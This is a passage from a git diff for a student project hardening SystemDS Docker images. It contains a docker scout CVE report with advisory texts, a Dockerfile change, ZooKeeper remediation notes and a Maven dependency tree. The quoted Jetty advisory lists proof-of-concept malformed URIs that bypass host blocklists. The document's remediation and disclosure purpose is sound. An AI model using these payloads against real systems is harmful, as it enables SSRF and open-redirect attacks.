io.netty.channel.AbstractChannelHandlerContext.fireChannelRead(AbstractChannelHandlerContext.java:412) + at io.netty.channel.DefaultChannelPipeline$HeadContext.channelRead(DefaultChannelPipeline.java:1357) + at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:440) + at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420) + at io.netty.channel.DefaultChannelPipeline.fireChannelRead(DefaultChannelPipeline.java:868) + at io.netty.channel.embedded.EmbeddedChannel.writeInbound(EmbeddedChannel.java:348) + at io.netty.handler.codec.compression.T.main(T.java:11) +``` + +### Impact + +DoS for anyone using `BrotliDecoder` on untrusted input. + +
+
+
+
critical: 0 high: 0 medium: 1 low: 0 org.apache.zookeeper/zookeeper 3.8.3 (maven) + +pkg:maven/org.apache.zookeeper/zookeeper@3.8.3
+medium 5.3: CVE--2024--23944 Exposure of Sensitive Information to an Unauthorized Actor + + + + + + + + +
Affected range>=3.8.0
<=3.8.3
Fixed version3.8.4
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
EPSS Score0.028%
EPSS Percentile7th percentile
+ +
Description +
+ +Information disclosure in persistent watchers handling in Apache ZooKeeper due to missing ACL check. It allows an attacker to monitor child znodes by attaching a persistent watcher (addWatch command) to a parent which the attacker has already access to. ZooKeeper server doesn't do ACL check when the persistent watcher is triggered and as a consequence, the full path of znodes that a watch event gets triggered upon is exposed to the owner of the watcher. It's important to note that only the path is exposed by this vulnerability, not the data of znode, but since znode path can contain sensitive information like user name or login ID, this issue is potentially critical. + +Users are recommended to upgrade to version 3.9.2, 3.8.4 which fixes the issue. + +
+
+
+
critical: 0 high: 0 medium: 1 low: 0 org.eclipse.jetty/jetty-http 9.4.52.v20230823 (maven) + +pkg:maven/org.eclipse.jetty/jetty-http@9.4.52.v20230823
+medium 6.3: CVE--2024--6763 Improper Validation of Syntactic Correctness of Input + + + + + + + + +
Affected range>=7.0.0
<=12.0.11
Fixed version12.0.12
CVSS Score6.3
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
EPSS Score1.022%
EPSS Percentile77th percentile
+ +
Description +
+ +## Summary + +Eclipse Jetty is a lightweight, highly scalable, Java-based web server and Servlet engine . It includes a utility class, `HttpURI`, for URI/URL parsing. + +The `HttpURI` class does insufficient validation on the authority segment of a URI. However the behaviour of `HttpURI` differs from the common browsers in how it handles a URI that would be considered invalid if fully validated against the RRC. Specifically `HttpURI` and the browser may differ on the value of the host extracted from an invalid URI and thus a combination of Jetty and a vulnerable browser may be vulnerable to a open redirect attack or to a SSRF attack if the URI is used after passing validation checks. + +## Details + +### Affected components + +The vulnerable component is the `HttpURI` class when used as a utility class in an application. The Jetty usage of the class is not vulnerable. + +### Attack overview + +The `HttpURI` class does not well validate the authority section of a URI. When presented with an illegal authority that may contain user info (eg username:password#@hostname:port), then the parsing of the URI is not failed. Moreover, the interpretation of what part of the authority is the host name differs from a common browser in that they also do not fail, but they select a different host name from the illegal URI. + +### Attack scenario + +A typical attack scenario is illustrated in the diagram below. The Validator checks whether the attacker-supplied URL is on the blocklist. If not, the URI is passed to the Requester for redirection. The Requester is responsible for sending requests to the hostname specified by the URI. + +This attack occurs when the Validator is the `org.eclipse.jetty.http.HttpURI` class and the Requester is the `Browser` (include chrome, firefox and Safari). An attacker can send a malformed URI to the Validator (e.g., `http://browser.check%23%40vulndetector.com/` ). After validation, the Validator finds that the hostname is not on the blocklist. However, the Requester can still send requests to the domain with the hostname `vulndetector.com`. + +## PoC + +payloads: + +``` +http://browser.check &@vulndetector.com/ +http://browser.check #@vulndetector.com/ +http://browser.check?@vulndetector.com/ +http://browser.check#@vulndetector.com/ +http://vulndetector.com\\/ +``` + +The problem of 302 redirect parsing in HTML tag scenarios. Below is a poc example. After clicking the button, the browser will open "browser.check", and jetty will parse this URL as "vulndetector.com". + +``` + +``` +A comparison of the parsing differences between Jetty and chrome is shown in the table below (note that neither should accept the URI as valid). + +| Invalid URI | Jetty | Chrome | +| ---------------------------------------------- | ---------------- | ------------- | +| http://browser.check &@vulndetector.com/ | vulndetector.com | browser.check | +| http://browser.check #@vulndetector.com/ | vulndetector.com | browser.check | +| http://browser.check?@vulndetector.com/ | vulndetector.com | browser.check | +| http://browser.check#@vulndetector.com/ | vulndetector.com | browser.check | + +The problem of 302 redirect parsing in HTTP 302 Location + +| Input | Jetty | Chrome | +| ------------------------ | -------------- | ------------- | +| http://browser.check%5c/ | browser.check\ | browser.check | + +It is noteworthy that Spring Web also faced similar security vulnerabilities, being affected by the aforementioned four types of payloads. These issues have since been resolved and have been assigned three CVE numbers [3-5]. + +## Impact + +The impact of this vulnerability is limited to developers that use the Jetty HttpURI directly. Example: your project implemented a blocklist to block on some hosts based on HttpURI's handling of authority section. The vulnerability will help attackers bypass the protections that developers have set up for hosts. The vulnerability will lead to **SSRF**[1] and **URL Redirection**[2] vulnerabilities in several cases. + +## Mitigation + +The attacks outlined above rely on decoded user data being passed to the `HttpURI` class. Application should not pass decoded user data as an encoded URI to any URI class/method, including `HttpURI`. Such applications are likely to be vulnerable in other ways. +The immediate solution is to upgrade to a version of the class that will fully validate the characters of the URI authority. Ultimately, Jetty will deprecate and remove support for user info in the authority per [RFC9110 Section 4.2.4](https://datatracker.ietf.org/doc/html/rfc9110#section-4.2.4). + +Note that the Chrome (and other browsers) parse the invalid user info section improperly as well (due to flawed WhatWG URL parsing rules that do not apply outside of a Web Browser). + +## Reference + +[1] https://cwe.mitre.org/data/definitions/918.html +[2] https://cwe.mitre.org/data/definitions/601.html + +
+
+
+
critical: 0 high: 0 medium: 1 low: 0 org.apache.commons/commons-lang3 3.12.0 (maven) + +pkg:maven/org.apache.commons/commons-lang3@3.12.0
+medium 6.5: CVE--2025--48924 Uncontrolled Recursion + + + + + + + + +
Affected range>=3.0
<3.18.0
Fixed version3.18.0
CVSS Score6.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
EPSS Score0.016%
EPSS Percentile3rd percentile
+ +
Description +
+ +Uncontrolled Recursion vulnerability in Apache Commons Lang. + +This issue affects Apache Commons Lang: Starting with commons-lang:commons-lang 2.0 to 2.6, and, from org.apache.commons:commons-lang3 3.0 before 3.18.0. + +The methods ClassUtils.getClass(...) can throw StackOverflowError on very long inputs. Because an Error is usually not handled by applications and libraries, a StackOverflowError could cause an application to stop. + +Users are recommended to upgrade to version 3.18.0, which fixes the issue. + +
+
+
+
critical: 0 high: 0 medium: 0 low: 1 org.eclipse.jetty/jetty-xml 9.4.51.v20230217 (maven) + +pkg:maven/org.eclipse.jetty/jetty-xml@9.4.51.v20230217
+low 3.9: GHSA--58qw--p7qm--5rvh Improper Restriction of XML External Entity Reference + + + + + + +
Affected range<=9.4.51
Fixed version9.4.52.v20230823
CVSS Score3.9
CVSS VectorCVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:L
+ +
Description +
+ +### From the reporter + +> `XmlParser` is vulnerable to XML external entity (XXE) vulnerability. +> XmlParser is being used when parsing Jetty’s xml configuration files. An attacker might exploit +> this vulnerability in order to achieve SSRF or cause a denial of service. +> One possible scenario is importing a (remote) malicious WAR into a Jetty’s server, while the +> WAR includes a malicious web.xml. + +### Impact +There are no circumstances in a normally deployed Jetty server where potentially hostile XML is given to the XmlParser class without the attacker already having arbitrary access to the server. I.e. in order to exploit `XmlParser` the attacker would already have the ability to deploy and execute hostile code. Specifically, Jetty has no protection against malicious web application and potentially hostile web applications should only be run on an isolated virtualisation. + +Thus this is not considered a vulnerability of the Jetty server itself, as any such usage of the jetty XmlParser is equally vulnerable as a direct usage of the JVM supplied SAX parser. No CVE will be allocated to this advisory. + +However, any direct usage of the `XmlParser` class by an application may be vulnerable. The impact would greatly depend on how the application uses `XmlParser`, but it could be a denial of service due to large entity expansion, or possibly the revealing local files if the XML results are accessible remotely. + +### Patches +Ability to configure the SAXParserFactory to fit the needs of your particular XML parser implementation have been merged as part of PR #10067 + +### Workarounds +Don't use `XmlParser` to parse data from users. + + + + +
+
+
+
critical: 0 high: 0 medium: 0 low: 1 org.apache.hadoop/hadoop-common 3.3.6 (maven) + +pkg:maven/org.apache.hadoop/hadoop-common@3.3.6
+low 2.0: CVE--2024--23454 Improper Privilege Management + + + + + + + + +
Affected range<3.4.0
Fixed version3.4.0
CVSS Score2
CVSS VectorCVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
EPSS Score0.037%
EPSS Percentile11th percentile
+ +
Description +
+ +Apache Hadoop’s `RunJar.run()` does not set permissions for temporary directory by default. If sensitive data will be present in this file, all the other local users may be able to view the content. This is because, on unix-like systems, the system temporary directory is shared between all local users. As such, files written in this directory, without setting the correct posix permissions explicitly, may be viewable by all other local users. + +
+
+
+
critical: 0 high: 0 medium: 0 low: 0 unspecified: 1lz4 1.9.4-r5 (apk) + +pkg:apk/alpine/lz4@1.9.4-r5?os_name=alpine&os_version=3.20
+unspecified : CVE--2025--62813 + + + + + + +
Affected range<=1.9.4-r5
Fixed versionNot Fixed
EPSS Score0.018%
EPSS Percentile3rd percentile
+ +
Description +
+ + + +
+
+
+ diff --git a/docker/sysds.Dockerfile b/docker/sysds.Dockerfile index 2238aa878a8..695e996e241 100644 --- a/docker/sysds.Dockerfile +++ b/docker/sysds.Dockerfile @@ -51,9 +51,16 @@ RUN mkdir -p /usr/lib/jvm \ && mv apache-maven-$MAVEN_VERSION /usr/lib/mvn # Build the system -RUN git clone --depth 1 https://github.com/apache/systemds.git systemds && \ - cd /usr/src/systemds/ && \ - mvn --no-transfer-progress clean package -P distribution +# RUN git clone --depth 1 https://github.com/apache/systemds.git systemds && \ +# cd /usr/src/systemds/ && \ +# mvn --no-transfer-progress clean package -P distribution + + +# Copy the local SystemDS source into the image +COPY . /usr/src/systemds +# Build SystemDS +RUN cd /usr/src/systemds && \ + mvn --no-transfer-progress clean package -P distribution COPY docker/mountFolder/main.dml /input/main.dml diff --git a/docker/systemds-3878_summary-of-changes.md b/docker/systemds-3878_summary-of-changes.md index 8d14879882d..627cf09fa8d 100644 --- a/docker/systemds-3878_summary-of-changes.md +++ b/docker/systemds-3878_summary-of-changes.md @@ -1,2 +1,444 @@ # Data Integration and Large-Scale Analysis -## Student Project SYSTEMDS-3878 + +***Student Project SYSTEMDS-3878*** \ +***Improve Docker Security*** + +>This task is to improve the security of the Docker images we provide. Currently we get an 'F' evaluation on DockerHub, and we would like instead to provide secure images. + +## `docker scout cves` identified vulnerabilities + +### org.apache.zookeeper/zookeeper + +- CVE-2023-44981 Authorization Bypass Through User-Controlled Key + - Identify the correct package + + Scout recommends upgrading the package to `3.7.2`, `3.8.3`, or `3.9.1`. \ + [Releases](https://zookeeper.apache.org/releases.html): `3.7.2` already reached its EoL. `3.9` is not yet in its stable version. + + Apache zookeeper is not directly imported in the project. The vulnerability is raised transitively by another dependecy. \ + `mvn dependency:tree` shows all implicit dependencies (see the [appendix](#output-of-mvn-dependencytree) for the output). \ + The responsible dependency seems to be the apache spark-core package. + + ```bash + [INFO] org.apache.systemds:systemds:jar:3.4.0-SNAPSHOT + [INFO] +- org.apache.spark:spark-core_2.12:jar:3.5.0:compile + [INFO] | +- org.apache.zookeeper:zookeeper:jar:3.6.3:compile + ``` + + From the documentation [Spark Project Core](https://mvnrepository.com/artifact/org.apache.spark/spark-core_2.13/4.0.1): Version `3.5.x` uses zookeeper `3.6.3`. \ + The version `4.0.x` uses zookeeper `3.9.3` which still has a known vulnerability. + + Spark-core `4.1.0` uses the latest version `3.9.4` of zookeeper. + + By inspecting the jars, it has been found out that zookeeper is also used by `hadoop-common` + - Resolve Vulnerability + + Two ideas to solve the vulnerability: + + - Upgrade `spark-core` + - `3.4.x` doesn't use scala `2.12` anymore \ + Update other dependencies (`spark-sql` etc) for the whole project to use scala `2.13`. \ + scala `2.13` is not backwards compatible with `2.12`. + - No direct backwards compatibility between `4.0` and `3.5` \ + [core migration guide](https://spark.apache.org/docs/latest/core-migration-guide.html#upgrading-from-core-35-to-40) + - Make `spark-core` use zookeeper `3.8.3` + - as `spark-core` is a package using `zookeeper`, explicitely declaring another version of the zookeeper dependency will override spark's dependecy. As zookeeper is backwards compatible, this should not cause problems for the app + - `hadoop-common 3.3.6` also uses `zookeeper 3.6.3`. + +#### Solution + +**Changes** +- `pom.xml` + - explicit dependency \ + `zookeeper 3.8.3` \ + The vulnerability is solved by upgrading the version of `zookeeper` + ```xml + + + org.apache.zookeeper + zookeeper + 3.8.3 + + ``` + - exclude `zookeeper` from + - `spark-core` + - `hadoop-common` + + Excluding `zookeeeper` from the dependencies prevents them from using a bundled older version and creating conflicts. + ```xml + + org.apache.zookeeper + zookeeper + + ``` +- `sysds.Dockerfile` + + systemds is cloned from github instead of using the local systemds project. + ```Dockerfile + # Build the system + # RUN git clone --depth 1 https://github.com/apache/systemds.git systemds && \ + # cd /usr/src/systemds/ && \ + # mvn --no-transfer-progress clean package -P distribution + + # Copy the local SystemDS source into the image + COPY . /usr/src/systemds + # Build SystemDS + RUN cd /usr/src/systemds && \ + mvn --no-transfer-progress clean package -P distribution + ``` + +**Verification** +- `docker scout` \ + The critical vulnerability in `zookeeper` is not shown anymore +- `mvn dependency:tree` \ + shows a more recent version of zookeeper +- building the project works \ + `mvn clean package -P distribution` + +### toolbox + +- Docker scout: + + `docker scout cves --details --format markdown -o docker/scout_results/sysds_outputX.md --epss apache/systemds` + + docker scout can also show the path to the vulnerability with the `--format sarif` option. + - Docker scout does not run because `/tmp` is full: \ + `df -h`: to see usage of partitions. \ + `du -h /home/schnee/DIA-sysds-scout-tmp/` to see directory usage. \ + `docker scout cache df` and `docker scout cache prune` to view and clear scout cache. + + Change default tmp partition to a bigger filesystem + `export TMPDIR=/home/schnee/DIA-sysds-scout-tmp` \ + `export DOCKER_SCOUT_CACHE_DIR=/home/schnee/DIA-sysds-scout-tmp` +- copy container filesystem to analyze jars: + + ```sh + docker create --name temp apache/systemds + docker export temp > img.tar + mkdir filesystem_img + tar -xf img.tar -C filesystem_img + #Analysis + rm -rf img.tar temp filesystem_img + docker rm temp + ``` + - Find all references to zookeeper + + `find filesystem_img -name '*zookeeper*'` + - List all libs + + `ls -la ./filesystem_img/systemds/target/lib/` + - Inspect the jars in the image for references to zookeeper + + `find ./filesystem_img -name '*.jar' -exec sh -c 'jar tf {} | grep -i zookeeper && echo "--- Found in {}"' \;` +- Inspect the given jar for references to zookeeper + + `jar tf ~/.m2/repository/org/apache/hadoop/hadoop-common/3.3.6/hadoop-common-3.3.6.jar | grep -i zookeeper` + + +### Appendix + +#### Output of `mvn dependency:tree` + +```bash +[INFO] org.apache.systemds:systemds:jar:3.4.0-SNAPSHOT +[INFO] +- org.jcuda:jcuda:jar:12.6.0:provided +[INFO] +- org.jcuda:jcublas:jar:12.6.0:provided +[INFO] +- org.jcuda:jcusparse:jar:12.6.0:provided +[INFO] +- org.jcuda:jcusolver:jar:12.6.0:provided +[INFO] +- org.jcuda:jcudnn:jar:12.6.0:provided +[INFO] +- org.jcuda:jcuda-natives:jar:windows-x86_64:12.6.0:provided +[INFO] +- org.jcuda:jcublas-natives:jar:windows-x86_64:12.6.0:provided +[INFO] +- org.jcuda:jcusparse-natives:jar:windows-x86_64:12.6.0:provided +[INFO] +- org.jcuda:jcusolver-natives:jar:windows-x86_64:12.6.0:provided +[INFO] +- org.jcuda:jcudnn-natives:jar:windows-x86_64:12.6.0:provided +[INFO] +- org.jcuda:jcuda-natives:jar:linux-x86_64:12.6.0:provided +[INFO] +- org.jcuda:jcublas-natives:jar:linux-x86_64:12.6.0:provided +[INFO] +- org.jcuda:jcusparse-natives:jar:linux-x86_64:12.6.0:provided +[INFO] +- org.jcuda:jcusolver-natives:jar:linux-x86_64:12.6.0:provided +[INFO] +- org.jcuda:jcudnn-natives:jar:linux-x86_64:12.6.0:provided +[INFO] +- org.apache.spark:spark-core_2.12:jar:3.5.0:compile +[INFO] | +- org.apache.avro:avro:jar:1.11.2:compile +[INFO] | +- org.apache.avro:avro-mapred:jar:1.11.2:compile +[INFO] | | \- org.apache.avro:avro-ipc:jar:1.11.2:compile +[INFO] | | \- org.tukaani:xz:jar:1.9:compile +[INFO] | +- com.twitter:chill_2.12:jar:0.10.0:compile +[INFO] | | \- com.esotericsoftware:kryo-shaded:jar:4.0.2:compile +[INFO] | | \- com.esotericsoftware:minlog:jar:1.3.0:compile +[INFO] | +- com.twitter:chill-java:jar:0.10.0:compile +[INFO] | +- org.apache.xbean:xbean-asm9-shaded:jar:4.23:compile +[INFO] | +- org.apache.spark:spark-launcher_2.12:jar:3.5.0:compile +[INFO] | +- org.apache.spark:spark-kvstore_2.12:jar:3.5.0:compile +[INFO] | +- org.apache.spark:spark-network-common_2.12:jar:3.5.0:compile +[INFO] | | \- com.google.crypto.tink:tink:jar:1.9.0:compile +[INFO] | | \- joda-time:joda-time:jar:2.12.5:compile +[INFO] | +- org.apache.spark:spark-network-shuffle_2.12:jar:3.5.0:compile +[INFO] | +- org.apache.spark:spark-unsafe_2.12:jar:3.5.0:compile +[INFO] | +- org.apache.spark:spark-common-utils_2.12:jar:3.5.0:compile +[INFO] | +- javax.activation:activation:jar:1.1.1:compile +[INFO] | +- org.apache.curator:curator-recipes:jar:2.13.0:compile +[INFO] | | \- org.apache.curator:curator-framework:jar:2.13.0:compile +[INFO] | +- org.apache.zookeeper:zookeeper:jar:3.6.3:compile +[INFO] | | +- org.apache.zookeeper:zookeeper-jute:jar:3.6.3:compile +[INFO] | | \- org.apache.yetus:audience-annotations:jar:0.5.0:compile +[INFO] | +- jakarta.servlet:jakarta.servlet-api:jar:4.0.3:compile +[INFO] | +- commons-codec:commons-codec:jar:1.16.0:compile +[INFO] | +- org.apache.commons:commons-compress:jar:1.23.0:compile +[INFO] | +- org.apache.commons:commons-lang3:jar:3.12.0:compile +[INFO] | +- org.apache.commons:commons-text:jar:1.10.0:compile +[INFO] | +- commons-io:commons-io:jar:2.13.0:compile +[INFO] | +- commons-collections:commons-collections:jar:3.2.2:compile +[INFO] | +- org.apache.commons:commons-collections4:jar:4.4:compile +[INFO] | +- com.google.code.findbugs:jsr305:jar:3.0.0:compile +[INFO] | +- com.ning:compress-lzf:jar:1.1.2:compile +[INFO] | +- org.xerial.snappy:snappy-java:jar:1.1.10.3:compile +[INFO] | +- org.lz4:lz4-java:jar:1.8.0:compile +[INFO] | +- com.github.luben:zstd-jni:jar:1.5.5-4:compile +[INFO] | +- org.roaringbitmap:RoaringBitmap:jar:0.9.45:compile +[INFO] | | \- org.roaringbitmap:shims:jar:0.9.45:runtime +[INFO] | +- org.scala-lang.modules:scala-xml_2.12:jar:2.1.0:compile +[INFO] | +- org.scala-lang:scala-library:jar:2.12.18:compile +[INFO] | +- org.scala-lang:scala-reflect:jar:2.12.18:compile +[INFO] | +- org.json4s:json4s-jackson_2.12:jar:3.7.0-M11:compile +[INFO] | | \- org.json4s:json4s-core_2.12:jar:3.7.0-M11:compile +[INFO] | | +- org.json4s:json4s-ast_2.12:jar:3.7.0-M11:compile +[INFO] | | \- org.json4s:json4s-scalap_2.12:jar:3.7.0-M11:compile +[INFO] | +- org.glassfish.jersey.core:jersey-client:jar:2.40:compile +[INFO] | | +- jakarta.ws.rs:jakarta.ws.rs-api:jar:2.1.6:compile +[INFO] | | \- org.glassfish.hk2.external:jakarta.inject:jar:2.6.1:compile +[INFO] | +- org.glassfish.jersey.core:jersey-common:jar:2.40:compile +[INFO] | | +- jakarta.annotation:jakarta.annotation-api:jar:1.3.5:compile +[INFO] | | \- org.glassfish.hk2:osgi-resource-locator:jar:1.0.3:compile +[INFO] | +- org.glassfish.jersey.core:jersey-server:jar:2.40:compile +[INFO] | | \- jakarta.validation:jakarta.validation-api:jar:2.0.2:compile +[INFO] | +- org.glassfish.jersey.containers:jersey-container-servlet:jar:2.40:compile +[INFO] | +- org.glassfish.jersey.containers:jersey-container-servlet-core:jar:2.40:compile +[INFO] | +- org.glassfish.jersey.inject:jersey-hk2:jar:2.40:compile +[INFO] | | +- org.glassfish.hk2:hk2-locator:jar:2.6.1:compile +[INFO] | | | +- org.glassfish.hk2.external:aopalliance-repackaged:jar:2.6.1:compile +[INFO] | | | +- org.glassfish.hk2:hk2-api:jar:2.6.1:compile +[INFO] | | | \- org.glassfish.hk2:hk2-utils:jar:2.6.1:compile +[INFO] | | \- org.javassist:javassist:jar:3.29.2-GA:compile +[INFO] | +- io.netty:netty-transport-native-epoll:jar:linux-x86_64:4.1.96.Final:compile +[INFO] | +- io.netty:netty-transport-native-epoll:jar:linux-aarch_64:4.1.96.Final:compile +[INFO] | +- io.netty:netty-transport-native-kqueue:jar:osx-aarch_64:4.1.96.Final:compile +[INFO] | +- io.netty:netty-transport-native-kqueue:jar:osx-x86_64:4.1.96.Final:compile +[INFO] | +- com.clearspring.analytics:stream:jar:2.9.6:compile +[INFO] | +- io.dropwizard.metrics:metrics-core:jar:4.2.19:compile +[INFO] | +- io.dropwizard.metrics:metrics-jvm:jar:4.2.19:compile +[INFO] | +- io.dropwizard.metrics:metrics-json:jar:4.2.19:compile +[INFO] | +- io.dropwizard.metrics:metrics-graphite:jar:4.2.19:compile +[INFO] | +- io.dropwizard.metrics:metrics-jmx:jar:4.2.19:compile +[INFO] | +- com.fasterxml.jackson.module:jackson-module-scala_2.12:jar:2.15.2:compile +[INFO] | | \- com.thoughtworks.paranamer:paranamer:jar:2.8:compile +[INFO] | +- org.apache.ivy:ivy:jar:2.5.1:compile +[INFO] | +- oro:oro:jar:2.0.8:compile +[INFO] | +- net.razorvine:pickle:jar:1.3:compile +[INFO] | +- org.apache.spark:spark-tags_2.12:jar:3.5.0:compile +[INFO] | \- org.apache.commons:commons-crypto:jar:1.1.0:compile +[INFO] +- org.apache.spark:spark-sql_2.12:jar:3.5.0:compile +[INFO] | +- org.rocksdb:rocksdbjni:jar:8.3.2:compile +[INFO] | +- com.univocity:univocity-parsers:jar:2.9.1:compile +[INFO] | +- org.apache.spark:spark-sketch_2.12:jar:3.5.0:compile +[INFO] | +- org.apache.spark:spark-catalyst_2.12:jar:3.5.0:compile +[INFO] | | +- org.apache.spark:spark-sql-api_2.12:jar:3.5.0:compile +[INFO] | | | +- org.apache.arrow:arrow-vector:jar:12.0.1:compile +[INFO] | | | | +- org.apache.arrow:arrow-format:jar:12.0.1:compile +[INFO] | | | | +- org.apache.arrow:arrow-memory-core:jar:12.0.1:compile +[INFO] | | | | +- com.fasterxml.jackson.datatype:jackson-datatype-jsr310:jar:2.15.1:compile +[INFO] | | | | \- com.google.flatbuffers:flatbuffers-java:jar:1.12.0:compile +[INFO] | | | \- org.apache.arrow:arrow-memory-netty:jar:12.0.1:compile +[INFO] | | \- org.apache.datasketches:datasketches-java:jar:3.3.0:compile +[INFO] | | \- org.apache.datasketches:datasketches-memory:jar:2.1.0:compile +[INFO] | +- org.apache.orc:orc-core:jar:shaded-protobuf:1.9.1:compile +[INFO] | | +- org.apache.orc:orc-shims:jar:1.9.1:compile +[INFO] | | +- io.airlift:aircompressor:jar:0.25:compile +[INFO] | | +- org.jetbrains:annotations:jar:17.0.0:compile +[INFO] | | \- org.threeten:threeten-extra:jar:1.7.1:compile +[INFO] | +- org.apache.orc:orc-mapreduce:jar:shaded-protobuf:1.9.1:compile +[INFO] | +- org.apache.hive:hive-storage-api:jar:2.8.1:compile +[INFO] | +- org.apache.parquet:parquet-column:jar:1.13.1:compile +[INFO] | | +- org.apache.parquet:parquet-common:jar:1.13.1:compile +[INFO] | | \- org.apache.parquet:parquet-encoding:jar:1.13.1:compile +[INFO] | \- org.apache.parquet:parquet-hadoop:jar:1.13.1:compile +[INFO] | +- org.apache.parquet:parquet-format-structures:jar:1.13.1:compile +[INFO] | \- org.apache.parquet:parquet-jackson:jar:1.13.1:runtime +[INFO] +- org.apache.spark:spark-mllib_2.12:jar:3.5.0:compile +[INFO] | +- org.scala-lang.modules:scala-parser-combinators_2.12:jar:2.3.0:compile +[INFO] | +- org.apache.spark:spark-streaming_2.12:jar:3.5.0:compile +[INFO] | +- org.apache.spark:spark-graphx_2.12:jar:3.5.0:compile +[INFO] | | \- net.sourceforge.f2j:arpack_combined_all:jar:0.1:compile +[INFO] | +- org.apache.spark:spark-mllib-local_2.12:jar:3.5.0:compile +[INFO] | +- org.scalanlp:breeze_2.12:jar:2.1.0:compile +[INFO] | | +- org.scalanlp:breeze-macros_2.12:jar:2.1.0:compile +[INFO] | | +- net.sf.opencsv:opencsv:jar:2.3:compile +[INFO] | | +- com.github.wendykierp:JTransforms:jar:3.1:compile +[INFO] | | | \- pl.edu.icm:JLargeArrays:jar:1.5:compile +[INFO] | | +- org.scala-lang.modules:scala-collection-compat_2.12:jar:2.7.0:compile +[INFO] | | \- org.typelevel:spire_2.12:jar:0.17.0:compile +[INFO] | | +- org.typelevel:spire-macros_2.12:jar:0.17.0:compile +[INFO] | | +- org.typelevel:spire-platform_2.12:jar:0.17.0:compile +[INFO] | | +- org.typelevel:spire-util_2.12:jar:0.17.0:compile +[INFO] | | \- org.typelevel:algebra_2.12:jar:2.0.1:compile +[INFO] | | \- org.typelevel:cats-kernel_2.12:jar:2.1.1:compile +[INFO] | +- org.glassfish.jaxb:jaxb-runtime:jar:2.3.2:compile +[INFO] | | +- jakarta.xml.bind:jakarta.xml.bind-api:jar:2.3.2:compile +[INFO] | | \- com.sun.istack:istack-commons-runtime:jar:3.0.8:compile +[INFO] | +- dev.ludovic.netlib:blas:jar:3.0.3:compile +[INFO] | +- dev.ludovic.netlib:lapack:jar:3.0.3:compile +[INFO] | \- dev.ludovic.netlib:arpack:jar:3.0.3:compile +[INFO] +- org.apache.hadoop:hadoop-common:jar:3.3.6:compile +[INFO] | +- org.apache.hadoop.thirdparty:hadoop-shaded-protobuf_3_7:jar:1.1.1:compile +[INFO] | +- org.apache.hadoop:hadoop-annotations:jar:3.3.6:compile +[INFO] | +- org.apache.hadoop.thirdparty:hadoop-shaded-guava:jar:1.1.1:compile +[INFO] | +- com.google.guava:guava:jar:27.0-jre:compile +[INFO] | | +- com.google.guava:failureaccess:jar:1.0:compile +[INFO] | | +- com.google.guava:listenablefuture:jar:9999.0-empty-to-avoid-conflict-with-guava:compile +[INFO] | | +- org.checkerframework:checker-qual:jar:2.5.2:compile +[INFO] | | \- org.codehaus.mojo:animal-sniffer-annotations:jar:1.17:compile +[INFO] | +- commons-cli:commons-cli:jar:1.2:compile +[INFO] | +- org.apache.httpcomponents:httpclient:jar:4.5.13:compile +[INFO] | | \- org.apache.httpcomponents:httpcore:jar:4.4.13:compile +[INFO] | +- commons-net:commons-net:jar:3.9.0:compile +[INFO] | +- javax.servlet:javax.servlet-api:jar:3.1.0:compile +[INFO] | +- jakarta.activation:jakarta.activation-api:jar:1.2.1:compile +[INFO] | +- org.eclipse.jetty:jetty-server:jar:9.4.51.v20230217:compile +[INFO] | | +- org.eclipse.jetty:jetty-http:jar:9.4.51.v20230217:compile +[INFO] | | \- org.eclipse.jetty:jetty-io:jar:9.4.51.v20230217:compile +[INFO] | +- org.eclipse.jetty:jetty-util:jar:9.4.51.v20230217:compile +[INFO] | +- org.eclipse.jetty:jetty-servlet:jar:9.4.51.v20230217:compile +[INFO] | | \- org.eclipse.jetty:jetty-security:jar:9.4.51.v20230217:compile +[INFO] | +- org.eclipse.jetty:jetty-webapp:jar:9.4.51.v20230217:compile +[INFO] | | \- org.eclipse.jetty:jetty-xml:jar:9.4.51.v20230217:compile +[INFO] | +- javax.servlet.jsp:jsp-api:jar:2.1:runtime +[INFO] | +- com.sun.jersey:jersey-core:jar:1.19.4:compile +[INFO] | | \- javax.ws.rs:jsr311-api:jar:1.1.1:compile +[INFO] | +- com.sun.jersey:jersey-servlet:jar:1.19.4:compile +[INFO] | +- com.github.pjfanning:jersey-json:jar:1.20:compile +[INFO] | | +- org.codehaus.jettison:jettison:jar:1.1:compile +[INFO] | | \- com.sun.xml.bind:jaxb-impl:jar:2.2.3-1:compile +[INFO] | +- com.sun.jersey:jersey-server:jar:1.19.4:compile +[INFO] | +- ch.qos.reload4j:reload4j:jar:1.2.22:compile +[INFO] | +- commons-beanutils:commons-beanutils:jar:1.9.4:compile +[INFO] | +- org.apache.commons:commons-configuration2:jar:2.8.0:compile +[INFO] | +- com.google.re2j:re2j:jar:1.1:compile +[INFO] | +- com.google.code.gson:gson:jar:2.9.0:compile +[INFO] | +- org.apache.hadoop:hadoop-auth:jar:3.3.6:compile +[INFO] | | +- com.nimbusds:nimbus-jose-jwt:jar:9.8.1:compile +[INFO] | | \- org.apache.kerby:kerb-simplekdc:jar:1.0.1:compile +[INFO] | | +- org.apache.kerby:kerb-client:jar:1.0.1:compile +[INFO] | | | +- org.apache.kerby:kerby-config:jar:1.0.1:compile +[INFO] | | | +- org.apache.kerby:kerb-common:jar:1.0.1:compile +[INFO] | | | | \- org.apache.kerby:kerb-crypto:jar:1.0.1:compile +[INFO] | | | +- org.apache.kerby:kerb-util:jar:1.0.1:compile +[INFO] | | | \- org.apache.kerby:token-provider:jar:1.0.1:compile +[INFO] | | \- org.apache.kerby:kerb-admin:jar:1.0.1:compile +[INFO] | | +- org.apache.kerby:kerb-server:jar:1.0.1:compile +[INFO] | | | \- org.apache.kerby:kerb-identity:jar:1.0.1:compile +[INFO] | | \- org.apache.kerby:kerby-xdr:jar:1.0.1:compile +[INFO] | +- com.jcraft:jsch:jar:0.1.55:compile +[INFO] | +- org.apache.curator:curator-client:jar:5.2.0:compile +[INFO] | +- 